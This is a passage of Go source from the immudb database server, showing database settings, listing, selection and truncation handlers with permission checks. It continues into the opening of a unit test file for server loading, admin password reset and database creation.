GetDatabaseSettings(ctx context.Context, _ *empty.Empty) (*schema.DatabaseSettings, error) {\n\tres, err := s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tret := &schema.DatabaseSettings{\n\t\tDatabaseName: res.Database,\n\t}\n\n\tif res.Settings.ReplicationSettings != nil {\n\t\tif res.Settings.ReplicationSettings.Replica != nil {\n\t\t\tret.Replica = res.Settings.ReplicationSettings.Replica.Value\n\t\t}\n\t\tif res.Settings.ReplicationSettings.PrimaryDatabase != nil {\n\t\t\tret.PrimaryDatabase = res.Settings.ReplicationSettings.PrimaryDatabase.Value\n\t\t}\n\t\tif res.Settings.ReplicationSettings.PrimaryHost != nil {\n\t\t\tret.PrimaryHost = res.Settings.ReplicationSettings.PrimaryHost.Value\n\t\t}\n\t\tif res.Settings.ReplicationSettings.PrimaryPort != nil {\n\t\t\tret.PrimaryPort = res.Settings.ReplicationSettings.PrimaryPort.Value\n\t\t}\n\t\tif res.Settings.ReplicationSettings.PrimaryUsername != nil {\n\t\t\tret.PrimaryUsername = res.Settings.ReplicationSettings.PrimaryUsername.Value\n\t\t}\n\t\tif res.Settings.ReplicationSettings.PrimaryPassword != nil {\n\t\t\tret.PrimaryPassword = res.Settings.ReplicationSettings.PrimaryPassword.Value\n\t\t}\n\t}\n\n\tif res.Settings.FileSize != nil {\n\t\tret.FileSize = res.Settings.FileSize.Value\n\t}\n\tif res.Settings.MaxKeyLen != nil {\n\t\tret.MaxKeyLen = res.Settings.MaxKeyLen.Value\n\t}\n\tif res.Settings.MaxValueLen != nil {\n\t\tret.MaxValueLen = res.Settings.MaxValueLen.Value\n\t}\n\tif res.Settings.MaxTxEntries != nil {\n\t\tret.MaxTxEntries = res.Settings.MaxTxEntries.Value\n\t}\n\tif res.Settings.ExcludeCommitTime != nil {\n\t\tret.ExcludeCommitTime = res.Settings.ExcludeCommitTime.Value\n\t}\n\n\treturn ret, nil\n}\n\nfunc (s *ImmuServer) GetDatabaseSettingsV2(ctx context.Context, _ *schema.DatabaseSettingsRequest) (*schema.DatabaseSettingsResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"DatabaseSettings\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdbOpts, err := s.loadDBOptions(db.GetName(), false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.DatabaseSettingsResponse{\n\t\tDatabase: db.GetName(),\n\t\tSettings: dbOpts.databaseNullableSettings(),\n\t}, nil\n}\n\n// DatabaseList returns a list of databases based on the requesting user permissions\nfunc (s *ImmuServer) DatabaseList(ctx context.Context, _ *empty.Empty) (*schema.DatabaseListResponse, error) {\n\tdbsWithSettings, err := s.DatabaseListV2(ctx, &schema.DatabaseListRequestV2{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &schema.DatabaseListResponse{}\n\tif len(dbsWithSettings.Databases) > 0 {\n\t\tresp.Databases = make([]*schema.Database, len(dbsWithSettings.Databases))\n\t}\n\n\tfor i, db := range dbsWithSettings.Databases {\n\t\tresp.Databases[i] = &schema.Database{DatabaseName: db.Name}\n\t}\n\treturn resp, nil\n}\n\n// DatabaseList returns a list of databases based on the requesting user permissions\nfunc (s *ImmuServer) DatabaseListV2(ctx context.Context, req *schema.DatabaseListRequestV2) (*schema.DatabaseListResponseV2, error) {\n\tif !s.Options.GetAuth() {\n\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t}\n\n\tresp := &schema.DatabaseListResponseV2{}\n\n\tdatabases, err := s.listLoggedInUserDatabases(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, db := range databases {\n\t\tdbName := db.GetName()\n\n\t\tdbOpts, err := s.loadDBOptions(dbName, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tsize, err := dirSize(filepath.Join(s.Options.Dir, dbName))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tstate, err := db.CurrentState()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tinfo := &schema.DatabaseInfo{\n\t\t\tName:            db.GetName(),\n\t\t\tSettings:        dbOpts.databaseNullableSettings(),\n\t\t\tLoaded:          !db.IsClosed(),\n\t\t\tDiskSize:        uint64(size),\n\t\t\tNumTransactions: state.TxId,\n\t\t\tCreatedAt:       uint64(dbOpts.CreatedAt.Unix()),\n\t\t\tCreatedBy:       dbOpts.CreatedBy,\n\t\t}\n\t\tresp.Databases = append(resp.Databases, info)\n\t}\n\treturn resp, nil\n}\n\nfunc (s *ImmuServer) listLoggedInUserDatabases(ctx context.Context) ([]database.DB, error) {\n\t_, loggedInuser, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"please login\")\n\t}\n\n\tdatabases := make([]database.DB, 0, s.dbList.Length())\n\tif loggedInuser.IsSysAdmin || s.Options.GetMaintenance() {\n\t\tfor i := 0; i < s.dbList.Length(); i++ {\n\t\t\tdb, err := s.dbList.GetByIndex(i)\n\t\t\tif err == database.ErrDatabaseNotExists {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tdatabases = append(databases, db)\n\t\t}\n\t} else {\n\t\tfor _, perm := range loggedInuser.Permissions {\n\t\t\tdb, err := s.dbList.GetByName(perm.Database)\n\t\t\tif err == database.ErrDatabaseNotExists {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tdatabases = append(databases, db)\n\t\t}\n\t}\n\treturn databases, nil\n}\n\n// UseDatabase ...\nfunc (s *ImmuServer) UseDatabase(ctx context.Context, req *schema.Database) (*schema.UseDatabaseReply, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tuser := &auth.User{}\n\tvar err error\n\n\tif s.Options.GetAuth() {\n\t\t_, user, err = s.getLoggedInUserdataFromCtx(ctx)\n\t\tif err != nil {\n\t\t\tif strings.HasPrefix(fmt.Sprintf(\"%s\", err), \"token has expired\") {\n\t\t\t\treturn nil, status.Error(codes.PermissionDenied, err.Error())\n\t\t\t}\n\t\t\treturn nil, status.Errorf(codes.Unauthenticated, \"Please login\")\n\t\t}\n\t} else {\n\t\tif !s.Options.GetMaintenance() {\n\t\t\treturn nil, fmt.Errorf(\"this command is available only with authentication on\")\n\t\t}\n\n\t\tuser.IsSysAdmin = true\n\t\tuser.Username = \"\"\n\t\ts.addUserToLoginList(user)\n\t}\n\n\tdbid := sysDBIndex\n\tdb := s.sysDB\n\n\tif req.DatabaseName != SystemDBName {\n\t\t//check if database exists\n\t\tdbid = s.dbList.GetId(req.DatabaseName)\n\t\tif dbid < 0 {\n\t\t\treturn nil, errors.New(fmt.Sprintf(\"'%s' does not exist\", req.DatabaseName)).WithCode(errors.CodInvalidDatabaseName)\n\t\t}\n\n\t\tdb, err = s.dbList.GetByIndex(dbid)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif db.IsClosed() {\n\t\t\treturn nil, store.ErrAlreadyClosed\n\t\t}\n\t}\n\n\t//check if this user has permission on this database\n\t//if sysadmin allow to continue\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.DatabaseName, auth.PermissionAdmin)) &&\n\t\t(!user.HasPermission(req.DatabaseName, auth.PermissionR)) &&\n\t\t(!user.HasPermission(req.DatabaseName, auth.PermissionRW)) {\n\n\t\treturn nil, status.Errorf(codes.PermissionDenied, \"Logged in user does not have permission on this database\")\n\t}\n\n\ttoken, err := auth.GenerateToken(*user, int64(dbid), s.Options.TokenExpiryTimeMin)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif auth.GetAuthTypeFromContext(ctx) == auth.SessionAuth {\n\t\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tsess, err := s.SessManager.GetSession(sessionID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tsess.SetDatabase(db)\n\t}\n\n\treturn &schema.UseDatabaseReply{\n\t\tToken: token,\n\t}, nil\n}\n\n// getDBFromCtx checks if user (loggedin from context) has access to methodName.\n// returns selected database\nfunc (s *ImmuServer) getDBFromCtx(ctx context.Context, methodName string) (database.DB, error) {\n\t//if auth is disabled and there is not user created databases returns defaultdb\n\tif !s.Options.auth && !s.multidbmode && !s.Options.GetMaintenance() {\n\t\tdb, _ := s.dbList.GetByIndex(defaultDbIndex)\n\t\treturn db, nil\n\t}\n\n\tif s.Options.GetMaintenance() && !auth.IsMaintenanceMethod(methodName) {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tind, usr, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\tif strings.HasPrefix(fmt.Sprintf(\"%s\", err), \"token has expired\") {\n\t\t\treturn nil, status.Error(codes.PermissionDenied, err.Error())\n\t\t}\n\t\tif s.Options.GetMaintenance() && !s.Options.auth {\n\t\t\treturn nil, fmt.Errorf(\"please select database first\")\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tif ind < 0 {\n\t\treturn nil, fmt.Errorf(\"please select a database first\")\n\t}\n\n\t// systemdb is always read-only from external access\n\tif ind == sysDBIndex && !auth.IsMaintenanceMethod(methodName) {\n\t\treturn nil, ErrPermissionDenied\n\t}\n\n\tvar db database.DB\n\n\tif ind == sysDBIndex {\n\t\tdb = s.sysDB\n\t} else {\n\t\tdb, err = s.dbList.GetByIndex(ind)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif usr.IsSysAdmin {\n\t\treturn db, nil\n\t}\n\n\tif ok := auth.HasPermissionForMethod(usr.WhichPermission(db.GetName()), methodName); !ok {\n\t\treturn nil, ErrPermissionDenied\n\t}\n\n\treturn db, nil\n}\n\n// isValidDBName checks if the provided database name meets the requirements\nfunc isValidDBName(dbName string) error {\n\tif len(dbName) < 1 || len(dbName) > 128 {\n\t\treturn fmt.Errorf(\"database name length outside of limits\")\n\t}\n\n\tvar hasSpecial bool\n\n\tfor _, ch := range dbName {\n\t\tswitch {\n\t\tcase unicode.IsLower(ch):\n\t\tcase unicode.IsDigit(ch):\n\t\tcase ch == '_':\n\t\tcase unicode.IsPunct(ch) || unicode.IsSymbol(ch):\n\t\t\thasSpecial = true\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unrecognized character in database name\")\n\t\t}\n\t}\n\n\tif hasSpecial {\n\t\treturn fmt.Errorf(\"punctuation marks and symbols are not allowed in database name\")\n\t}\n\n\treturn nil\n}\n\n// checkMandatoryAuth checks if auth should be madatory for immudb to start\nfunc (s *ImmuServer) mandatoryAuth() bool {\n\tif s.Options.GetMaintenance() {\n\t\treturn false\n\t}\n\n\t//check if there are user created databases, should be zero for auth to be off\n\tif s.dbList.Length() > 1 {\n\t\treturn true\n\t}\n\n\t//check if there is only sysadmin on systemdb and no other user\n\titemList, err := s.sysDB.Scan(context.Background(), &schema.ScanRequest{\n\t\tPrefix: []byte{KeyPrefixUser},\n\t})\n\n\tif err != nil {\n\t\ts.Logger.Errorf(\"error getting users: %v\", err)\n\t\treturn true\n\t}\n\n\tfor _, val := range itemList.Entries {\n\t\tif len(val.Key) > 2 {\n\t\t\tif auth.SysAdminUsername != string(val.Key[1:]) {\n\t\t\t\t//another user detected\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\t//systemdb exists but there are no other users created\n\treturn false\n}\n\nfunc (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (res *schema.TruncateDatabaseResponse, err error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ts.Logger.Infof(\"truncating database '%s'...\", req.Database)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\ts.Logger.Infof(\"database '%s' successfully truncated\", req.Database)\n\t\t} else {\n\t\t\ts.Logger.Infof(\"database '%s' could not be truncated. Reason: %v\", req.Database, err)\n\t\t}\n\t}()\n\n\tif !s.Options.GetAuth() {\n\t\treturn nil, ErrAuthMustBeEnabled\n\t}\n\n\tif req.Database == s.Options.defaultDBName || req.Database == s.Options.systemAdminDBName {\n\t\treturn nil, ErrReservedDatabase\n\t}\n\n\t_, user, err := s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not get loggedin user data\")\n\t}\n\n\t//if the requesting user has admin permission on this database\n\tif (!user.IsSysAdmin) &&\n\t\t(!user.HasPermission(req.Database, auth.PermissionAdmin)) {\n\t\treturn nil, fmt.Errorf(\"the database '%s' does not exist or you do not have admin permission on this database\", req.Database)\n\t}\n\n\tif req.RetentionPeriod < 0 || (req.RetentionPeriod > 0 && req.RetentionPeriod < store.MinimumRetentionPeriod.Milliseconds()) {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours\",\n\t\t\tErrIllegalArguments, req.Database, store.MinimumRetentionPeriod)\n\t}\n\n\ts.dbListMutex.Lock()\n\tdefer s.dbListMutex.Unlock()\n\n\tdb, err := s.dbList.GetByName(req.Database)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trp := time.Duration(req.RetentionPeriod) * time.Millisecond\n\n\t// check if truncator already exists for the database\n\tvar t *truncator.Truncator\n\n\tt, err = s.getTruncatorFor(db.GetName())\n\tif err == ErrTruncatorDoesNotExist {\n\t\tt = truncator.NewTruncator(db, rp, 0, s.Logger)\n\t}\n\n\terr = t.Truncate(ctx, rp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.TruncateDatabaseResponse{\n\t\tDatabase: req.Database,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/server/server_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/cert\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"golang.org/x/crypto/bcrypt\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/status\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nvar testDatabase = \"lisbon\"\nvar testUsername = []byte(\"sagrada\")\nvar testPassword = []byte(\"Familia@2\")\nvar testKey = []byte(\"Antoni\")\nvar testValue = []byte(\"Gaudí\")\n\nvar kvs = []*schema.KeyValue{\n\t{\n\t\tKey:   []byte(\"Alberto\"),\n\t\tValue: []byte(\"Tomba\"),\n\t},\n\t{\n\t\tKey:   []byte(\"Jean-Claude\"),\n\t\tValue: []byte(\"Killy\"),\n\t},\n\t{\n\t\tKey:   []byte(\"Franz\"),\n\t\tValue: []byte(\"Clamer\"),\n\t},\n}\n\nfunc testServer(opts *Options) (*ImmuServer, func()) {\n\ts := DefaultServer().WithOptions(opts).(*ImmuServer)\n\treturn s, func() {\n\t\ts.CloseDatabases()\n\t\tif s.Listener != nil {\n\t\t\ts.Listener.Close()\n\t\t}\n\t}\n}\n\nfunc TestLogErr(t *testing.T) {\n\tlogger := logger.NewSimpleLogger(\"immudb \", os.Stderr)\n\n\trequire.Nil(t, logErr(logger, \"error: %v\", nil))\n\n\terr := fmt.Errorf(\"expected error\")\n\trequire.ErrorIs(t, logErr(logger, \"error: %v\", err), err)\n}\n\nfunc TestServerDefaultDatabaseLoad(t *testing.T) {\n\tdir := t.TempDir()\n\topts := DefaultOptions().WithDir(dir)\n\n\ts, closer := testServer(opts)\n\tdefer closer()\n\n\toptions := database.DefaultOptions().WithDBRootPath(dir)\n\tdbRootpath := options.GetDBRootPath()\n\n\terr := s.loadDefaultDatabase(dbRootpath, nil)\n\trequire.NoError(t, err)\n\trequire.DirExists(t, path.Join(dbRootpath, DefaultDBName))\n}\n\nfunc TestServerReOpen(t *testing.T) {\n\tserverOptions := DefaultOptions().WithDir(t.TempDir())\n\toptions := database.DefaultOptions().WithDBRootPath(serverOptions.Dir)\n\tdbRootpath := options.GetDBRootPath()\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false)\n\trequire.NoError(t, err)\n\n\terr = s.loadDefaultDatabase(dbRootpath, nil)\n\trequire.NoError(t, err)\n\n\tcloser()\n\n\ts, closer = testServer(serverOptions)\n\tdefer closer()\n\n\terr = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false)\n\trequire.NoError(t, err)\n\n\terr = s.loadDefaultDatabase(dbRootpath, nil)\n\trequire.NoError(t, err)\n\n\trequire.DirExists(t, path.Join(options.GetDBRootPath(), DefaultOptions().GetSystemAdminDBName()))\n}\n\nfunc TestServerSystemDatabaseLoad(t *testing.T) {\n\tserverOptions := DefaultOptions().WithDir(t.TempDir())\n\toptions := database.DefaultOptions().WithDBRootPath(serverOptions.Dir)\n\tdbRootpath := options.GetDBRootPath()\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false)\n\trequire.NoError(t, err)\n\n\terr = s.loadDefaultDatabase(dbRootpath, nil)\n\trequire.NoError(t, err)\n\n\trequire.DirExists(t, path.Join(options.GetDBRootPath(), DefaultOptions().GetSystemAdminDBName()))\n}\n\nfunc TestServerResetAdminPassword(t *testing.T) {\n\tserverOptions := DefaultOptions().WithDir(t.TempDir())\n\toptions := database.DefaultOptions().WithDBRootPath(serverOptions.Dir)\n\tdbRootpath := options.GetDBRootPath()\n\n\tvar txID uint64\n\n\tt.Run(\"Create new database\", func(t *testing.T) {\n\t\ts, closer := testServer(serverOptions)\n\t\tdefer closer()\n\n\t\terr := s.loadSystemDatabase(dbRootpath, nil, \"password1\", false)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password2\"))\n\t\trequire.ErrorContains(t, err, \"password\")\n\n\t\ttxID, err = s.sysDB.TxCount()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Run db without resetting password\", func(t *testing.T) {\n\t\ts, closer := testServer(serverOptions)\n\t\tdefer closer()\n\n\t\terr := s.loadSystemDatabase(dbRootpath, nil, \"password2\", false)\n\t\trequire.NoError(t, err)\n\n\t\tcurrTxID, err := s.sysDB.TxCount()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, txID, currTxID)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password2\"))\n\t\trequire.ErrorContains(t, err, \"password\")\n\t})\n\n\tt.Run(\"Run db with password reset\", func(t *testing.T) {\n\t\ts, closer := testServer(serverOptions)\n\t\tdefer closer()\n\n\t\terr := s.loadSystemDatabase(dbRootpath, nil, \"password2\", true)\n\t\trequire.NoError(t, err)\n\n\t\t// There should be new TX with updated password\n\t\tcurrTxID, err := s.sysDB.TxCount()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, txID+1, currTxID)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password1\"))\n\t\trequire.ErrorContains(t, err, \"password\")\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password2\"))\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Run db with password reset but no new tx\", func(t *testing.T) {\n\t\ts, closer := testServer(serverOptions)\n\t\tdefer closer()\n\n\t\terr := s.loadSystemDatabase(dbRootpath, nil, \"password2\", true)\n\t\trequire.NoError(t, err)\n\n\t\t// No ne TX is needed\n\t\tcurrTxID, err := s.sysDB.TxCount()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, txID+1, currTxID)\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password1\"))\n\t\trequire.ErrorContains(t, err, \"password\")\n\n\t\t_, err = s.getValidatedUser(context.Background(), []byte(auth.SysAdminUsername), []byte(\"password2\"))\n\t\trequire.NoError(t, err)\n\t})\n\n}\n\ntype dbMockResetAdminPasswordCornerCases struct {\n\tdatabase.DB\n\tsetErr error\n}\n\nfunc (d *dbMockResetAdminPasswordCornerCases) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\treturn nil, d.setErr\n}\n\nfunc TestResetAdminPasswordCornerCases(t *testing.T) {\n\tt.Run(\"Do not allow changing sysadmin password if running as a systemdb replica\", func(t *testing.T) {\n\t\topts := DefaultOptions().WithDir(t.TempDir())\n\t\topts.ReplicationOptions.WithIsReplica(true)\n\n\t\ts, closer := testServer(opts)\n\t\tdefer closer()\n\n\t\terr := s.Initialize()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.resetAdminPassword(context.Background(), \"newPassword\")\n\t\trequire.ErrorContains(t, err, \"database is running as a replica\")\n\t})\n\n\tt.Run(\"Failure to read the current sysadmin user \", func(t *testing.T) {\n\t\topts := DefaultOptions().WithDir(t.TempDir())\n\n\t\ts, closer := testServer(opts)\n\t\tdefer closer()\n\n\t\terr := s.Initialize()\n\t\trequire.NoError(t, err)\n\n\t\terr = s.CloseDatabases()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.resetAdminPassword(context.Background(), \"newPassword\")\n\t\trequire.ErrorContains(t, err, \"could not read sysadmin user data\")\n\t})\n\n\tt.Run(\"Failure to read the current sysadmin user\", func(t *testing.T) {\n\t\topts := DefaultOptions().WithDir(t.TempDir())\n\n\t\ts, closer := testServer(opts)\n\t\tdefer closer()\n\n\t\terr := s.Initialize()\n\t\trequire.NoError(t, err)\n\n\t\terr = s.CloseDatabases()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.resetAdminPassword(context.Background(), \"newPassword\")\n\t\trequire.ErrorContains(t, err, \"could not read sysadmin user data\")\n\t})\n\n\tt.Run(\"Invalid password\", func(t *testing.T) {\n\t\topts := DefaultOptions().WithDir(t.TempDir())\n\n\t\ts, closer := testServer(opts)\n\t\tdefer closer()\n\n\t\terr := s.Initialize()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = s.resetAdminPassword(context.Background(), \"\")\n\t\trequire.ErrorContains(t, err, \"password is empty\")\n\t})\n\n\tt.Run(\"Failing to save sysadmin user\", func(t *testing.T) {\n\t\topts := DefaultOptions().WithDir(t.TempDir())\n\n\t\ts, closer := testServer(opts)\n\t\tdefer closer()\n\n\t\terr := s.Initialize()\n\t\trequire.NoError(t, err)\n\n\t\tinjectedErr := errors.New(\"injected error\")\n\n\t\ts.sysDB = &dbMockResetAdminPasswordCornerCases{\n\t\t\tDB:     s.sysDB,\n\t\t\tsetErr: injectedErr,\n\t\t}\n\t\t_, err = s.resetAdminPassword(context.Background(), \"newPassword\")\n\t\trequire.ErrorIs(t, err, injectedErr)\n\t})\n}\n\nfunc TestServerWithEmptyAdminPassword(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(\"\")\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.ErrorIs(t, err, ErrEmptyAdminPassword)\n}\n\nfunc TestServerWithInvalidAdminPassword(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(\"enc:*\")\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.ErrorContains(t, err, \"error decoding password from base64 string\")\n}\n\nfunc TestServerErrChunkSizeTooSmall(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithStreamChunkSize(4095)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.ErrorContains(t, err, stream.ErrChunkTooSmall)\n}\n\nfunc TestServerCreateDatabase(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.CreateDatabase(ctx, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tdbSettings := &schema.DatabaseSettings{\n\t\tDatabaseName:    \"lisbon\",\n\t\tReplica:         false,\n\t\tPrimaryDatabase: \"primarydb\",\n\t}\n\t_, err = s.CreateDatabaseWith(ctx, dbSettings)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tnewdb := &schema.Database{\n\t\tDatabaseName: \"lisbon\",\n\t}\n\t_, err = s.CreateDatabase(ctx, newdb)\n\trequire.NoError(t, err)\n}\n\nfunc TestServerCreateDatabaseCaseError(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tnewdb := &schema.DatabaseSettings{\n\t\tDatabaseName: \"MyDatabase\",\n\t}\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.NoError(t, err)\n\n\tnewdb.DatabaseName = strings.ToLower(newdb.DatabaseName)\n\n\t_, err = s.CreateDatabaseWith(ctx, newdb)\n\trequire.ErrorIs(t, err, database.ErrDatabaseAlreadyExists)\n}\n\nfunc TestServerCreateMultipleDatabases(t *testing.T) {\n\tserverOptions := DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\terr := s.Initialize()\n\trequire.NoError(t, err)\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\n\tctx := context.Background()\n\tlr, err := s.Login(ctx, r)\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lr.Token)\n\tctx = metadata.NewIncomingContext(context.Background(), md)\n\n\tfor i := 0; i < 64; i++ {\n\t\tdbname := fmt.Sprintf(\"db%d\", i)\n\n\t\tdbSettings := &schema.DatabaseNullableSettings{\n\t\t\tPreallocFiles: &schema.NullableBool{Value: false},\n\t\t}\n\t\t_, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\t\tName:     dbname,\n\t\t\tSettings: dbSettings,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tuR, err := s.UseDatabase(ctx, &schema.Database{DatabaseName: dbname})\n\t\trequire.NoError(t, err)\n\n\t\tmd := metadata.Pairs(\"authorization\", uR.Token)\n\t\tctx := metadata.NewIncomingContext(context.Background(), md)\n\n\t\t_, err = s.Set(ctx, &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t{\n\t\t\t\t\tKey:   testKey,\n\t\t\t\t\tValue: 